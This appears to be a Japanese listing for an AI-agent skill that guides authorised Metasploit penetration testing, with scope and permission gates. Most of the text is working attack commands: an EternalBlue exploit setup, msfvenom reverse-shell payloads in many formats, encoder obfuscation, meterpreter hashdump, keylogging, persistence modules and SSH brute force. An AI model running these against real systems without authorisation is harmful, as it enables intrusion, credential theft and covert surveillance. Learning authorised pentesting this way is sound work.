metasploit-framework について
Metasploit Framework を使った許可済みの侵入テストを案内するスキルです。モジュールの検索と設定、ペイロード、セッション操作を扱い、事前の範囲確認と合意範囲内での操作・データ収集を重視します。
主な機能
- 01Metasploit モジュールの検索と設定
- 02エクスプロイト、ペイロード、補助モジュールの解説
- 03コンソールとセッションのワークフロー
- 04実動テスト前の範囲確認
- 05データ収集の制限と後片付け
活用シーン
- 01許可済み脆弱性評価の計画
- 02範囲を定めたラボ対象のテスト
- 03実行前のモジュール設定確認
- 04発見事項の記録とテスト痕跡の削除
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill metasploit-frameworkインストール後、Claude Code で/metasploit-frameworkを入力して読み込まれたか確認します。
詳細
⚠️ 許可された用途のみ このスキルは、教育目的または許可されたセキュリティ評価のみを対象としています。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの不正使用は違法であり、固く禁じられています。
必須の確認ゲート 対象を調査、悪用、変更したり、対象上に永続化したり、対象からデータを抽出したり、対象に対して認証情報へのアクセスを試みたりするコマンドを実行する前に、次の手順を行ってください。
- 正確な対象 URL、IP アドレス、アカウント、またはリソースをユーザーに提示してもらいます。
- 書面による許可と、許可された範囲を確認するようユーザーに求めます。
- 正確なコマンドを提示し、想定される影響を説明します。
- 現在の会話で明示的な確認が得られるまで待ちます。
確認が得られるまでは、読み取り専用にとどめ、防御的なガイダンスのみを提供してください。サンドボックス、使い捨ての VM、または管理されたラボの利用を推奨します。
Metasploit Framework
目的
Metasploit Framework を活用して、初期のエクスプロイトから侵入後の活動まで、包括的なペネトレーションテストを実施します。Metasploit は、許可されたセキュリティ評価において、脆弱性の悪用、ペイロードの生成、補助的なスキャン、および侵害されたシステムへのアクセス維持を行うための統合プラットフォームを提供します。
前提条件
必要なツール
# Metasploit must already be installed before using this skill.
# Kali Linux usually ships with it preinstalled.
msfconsole --version
インストール方法は、オペレーティングシステムやパッケージの入手元によって異なります。このスキルを使用する前に、利用するプラットフォームで文書化されているパッケージマネージャーまたはベンダーのインストール手順に従ってください。このスキル内で、バージョンが固定されていないリモートインストーラースクリプトに依存しないでください。
ワークスペースの追跡など、データベースを利用する機能を使用する場合は、ローカルインストールの手順に従って msfdb を初期化してください。このスキルでは、Metasploit がすでに利用可能であることを前提としており、sudo、systemctl、その他のホストレベルの特権設定手順は必要ありません。
必要な知識
- ネットワークとシステムの基礎知識
- 脆弱性とエクスプロイトの理解
- プログラミングの基本概念
- 対象の列挙手法
必要なアクセス
- テストに対する書面による許可
- 対象システムへのネットワークアクセス
- スコープとエンゲージメントルールの理解
エクスプロイトモジュールを実行する前に、正確な対象ホスト、スコープ、および許可の有無をユーザーに確認してください。
出力と成果物
- エクスプロイトの証拠 - 侵害に成功した際のスクリーンショットとログ
- セッションログ - コマンド履歴と抽出したデータ
- 脆弱性の対応付け - CVE 参照を含む、悪用した脆弱性
- 侵入後の成果物 - 認証情報、ファイル、システム情報
対象 IP はラボ環境を例示するものであり、使用許可を示すものではありません。check、スキャナー、リスナー、認証の試行はいずれも能動的な操作です。使用前に、モジュールの情報とオプションを確認し、リスクを評価してください。認証情報の収集、キー入力の記録やスクリーンショットの取得、永続化、ピボット、破壊的なプロセス操作には、基本的な列挙を超える明示的なスコープが必要です。合成データのラボ用アカウントを使用し、収集データを最小限に抑え、成果物とクリーンアップを記録して、復元された状態を確認してください。認証情報を無差別に抽出したり、アクセスを永続化したりしないでください。
基本的なワークフロー
フェーズ 1:MSFConsole の基本
Metasploit コンソールを起動して操作します。
# Start msfconsole
msfconsole
# Quiet mode (skip banner)
msfconsole -q
# Basic navigation commands
msf6 > help # Show all commands
msf6 > search [term] # Search modules
msf6 > use [module] # Select module
msf6 > info # Show module details
msf6 > show options # Display required options
msf6 > set [OPTION] [value] # Configure option
msf6 > run / exploit # Execute module
msf6 > back # Return to main console
msf6 > exit # Exit msfconsole
フェーズ 2:モジュールの種類
さまざまなモジュールのカテゴリを理解します。
# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version
# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump
# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai
# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops
# 7. Evasion - Bypass security controls
msf6 > show evasion
フェーズ 3:モジュールの検索
対象に適したモジュールを見つけます。
# Search by name
msf6 > search eternalblue
# Search by CVE
msf6 > search cve:2017-0144
# Search by platform
msf6 > search platform:windows type:exploit
# Search by type and keyword
msf6 > search type:auxiliary smb
# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent
# Combined search
msf6 > search type:exploit platform:linux apache
# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
フェーズ 4:エクスプロイトの設定
実行するエクスプロイトを設定します。
# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100
# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445
# View compatible payloads
msf6 exploit(...) > show payloads
# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444
# View all options again to verify
msf6 exploit(...) > show options
# Check if target is vulnerable (if supported)
msf6 exploit(...) > check
# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run
フェーズ 5:ペイロードの種類
状況に適したペイロードを選択します。
# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp
# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell
# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp
フェーズ 6:Meterpreter セッション
Meterpreter を使用して侵入後の操作を行います。
# After successful exploitation, you get Meterpreter prompt
meterpreter >
# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\
# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]
# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs
# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector
# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >
# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1
フェーズ 7:補助モジュール
偵察に補助モジュールを使用します。
# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run
# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run
# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run
# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run
# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run
# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run
フェーズ 8:侵入後モジュール
アクティブなセッションで侵入後モジュールを実行します。
# List sessions
msf6 > sessions -l
# Run post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run
# Or run directly from Meterpreter
meterpreter > run post/windows/gather/hashdump
# Common Post Modules
# Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds
# System Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs
# Privilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester
# Persistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence
# Pivoting
post/multi/manage/autoroute
フェーズ 9:msfvenom によるペイロード生成
スタンドアロンのペイロードを作成します。
# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
# WAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
# Encoded payload format example; encoding does not guarantee AV/EDR evasion
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
# List available formats
msfvenom --list formats
# List available encoders
msfvenom --list encoders
フェーズ 10:ハンドラーの設定
接続を受け付けるリスナーを設定します。
# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
# The -j flag runs as background job
msf6 > jobs -l
# When payload executes on target, session opens
[*] Meterpreter session 1 opened
# Interact with session
msf6 > sessions -i 1
クイックリファレンス
MSFConsole の基本コマンド
| コマンド | 説明 |
|---|---|
search [term] | モジュールを検索します |
use [module] | モジュールを選択します |
info | モジュール情報を表示します |
show options | 設定可能なオプションを表示します |
set [OPT] [val] | オプションの値を設定します |
setg [OPT] [val] | グローバルオプションを設定します |
run / exploit | モジュールを実行します |
check | モジュール固有のアクティブチェックを実行します。侵襲的な場合があり、エクスプロイトの成功を証明するものではありません |
back | モジュールの選択を解除します |
sessions -l | アクティブなセッションを一覧表示します |
sessions -i [N] | セッションを操作します |
jobs -l | バックグラウンドジョブを一覧表示します |
db_nmap | データベース連携で nmap を実行します |
Meterpreter の基本コマンド
| コマンド | 説明 |
|---|---|
sysinfo | システム情報を表示します |
getuid | 現在のユーザーを表示します |
getsystem | 権限昇格を試みます |
hashdump | パスワードハッシュをダンプします |
shell | システムシェルに移行します |
upload/download | ファイルを転送します |
screenshot | 画面をキャプチャします |
keyscan_start | キーロガーを開始します |
migrate [PID] | 別のプロセスに移動します |
background | セッションをバックグラウンドに移します |
portfwd | ポートフォワーディングを行います |
よく使われるエクスプロイトモジュール
# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac
# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec
# Web Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console
制約と制限事項
法的要件
- 自分が所有するシステム、またはテストの書面による許可を得たシステムでのみ使用してください
- すべてのテスト活動を記録してください
- エンゲージメントルールに従ってください
- すべての調査結果を適切な関係者に報告してください
技術的な制限事項
- 最新の AV/EDR によって Metasploit のペイロードが検知される場合があります
- 一部のエクスプロイトには、特定のターゲット設定が必要です
- ファイアウォールのルールによってリバース接続がブロックされる場合があります
- すべてのエクスプロイトが、すべてのターゲットバージョンで動作するわけではありません
運用上のセキュリティ
- 可能な場合は暗号化チャネル(reverse_https)を使用してください
- テスト後にアーティファクトをクリーンアップしてください
- 監視について許可を得た評価チームと調整してください。ステルスや回避は標準の目標ではありません
- ポストエクスプロイトの範囲を合意済みの範囲に限定してください
トラブルシューティング
| 問題 | 解決策 |
|---|---|
| データベースに接続されていない | ローカルインストールで確認済みのデータベース設定手順に従ってください。特権を必要とする msfdb/システムサービスの操作が必須だと決めつけないでください |
| エクスプロイトが失敗する/セッションが開始されない | check を実行します。ペイロードのアーキテクチャを確認し、ファイアウォールを確認して、別のペイロードを試してください |
| セッションがすぐに切れる | 安定したプロセスに移行し、ステージレスペイロードを使用して、AV を確認し、AutoRunScript を使用してください |
| ペイロードが AV に検知される | 検知結果を記録し、防御担当者と合意したテスト目標を確認してください。エンコードは AV/EDR を確実に回避する方法ではありません |
使用する場面
このスキルは、概要で説明されているワークフローまたはアクションを実行する場合に適用できます。